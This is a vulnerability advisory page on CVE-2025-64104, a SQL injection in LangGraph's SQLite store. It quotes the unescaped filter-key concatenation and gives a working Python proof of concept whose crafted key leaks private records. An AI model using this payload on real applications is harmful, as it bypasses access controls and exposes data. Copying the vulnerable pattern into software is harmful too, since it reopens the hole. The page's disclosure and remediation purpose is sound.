KEVWire

Security intelligence, with context.

Response snapshot Oct 29, 2026, 01:26 UTC

Back to the wire
Permalink
VulnerabilityCVE-2025-64104

LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. [/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py](https://github.

Published Updated

At a glance

Exploited
Not known
Severity
7.3 High (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: langgraph-checkpoint-sqlite: 2.0.11. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-7p73-8jqx-23r8 (opens a new tab)

What happened

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

[/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)

Continue reading

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

 filter_conditions.append(
 "json_extract(value, '$."
 + key # <-- Directly concatenated, no escaping!
 + "') = '"
 + value.replace("'", "''") # <-- Only value is escaped
 + "'"
 )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it: 1. Instantiates the SqliteStore from the checkpoint-sqlite package, and 2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

_Complete instructions, including specific configuration details, to reproduce the vulnerability._

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
 store.setup()
 
 # Add public and private documents
 store.put(("docs",), "public", {"access": "public", "data": "public info"})
 store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
 
 # Normal query - returns 1 public document
 normal = store.search(("docs",), filter={"access": "public"})
 print(f"Normal query: {len(normal)} docs")
 
 # SQL injection via malicious key
 malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
 injected = store.search(("docs",), filter={malicious_key: "dummy"})
 
 print(f"Injected query: {len(injected)} docs")
 for doc in injected:
 if doc.value.get("access") == "private":
 print(f"LEAKED: {doc.value}")

Affected package ranges reported by GitHub: langgraph-checkpoint-sqlite: <= 2.0.10

Scores and how they were measured

CVSS base severity

7.3

Version 3.1As of

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Follow Python packages (PyPI): RSS feedAll its recordsAsk your AI assistant

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-7p73-8jqx-23r8 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-7p73-8jqx-23r8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 28). LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore (CVE-2025-64104). https://kevwire.com/record/CVE-2025-64104

MLA

"LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore (CVE-2025-64104)." KEVWire, 28 Oct. 2026, kevwire.com/record/CVE-2025-64104.

Chicago

KEVWire. "LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore (CVE-2025-64104)." Last modified October 28, 2026. https://kevwire.com/record/CVE-2025-64104.

Evidence summary (plain text)

LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore (Oct 29, 2025).
LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

[/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.
CVSS 7.3 (version 3.1; evidence as of Oct 28, 2026; https://github.com/advisories/GHSA-7p73-8jqx-23r8).
Sources:
GitHub-reviewed advisory GHSA-7p73-8jqx-23r8: https://github.com/advisories/GHSA-7p73-8jqx-23r8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2025-64104.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 29, 2026, 00:55 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail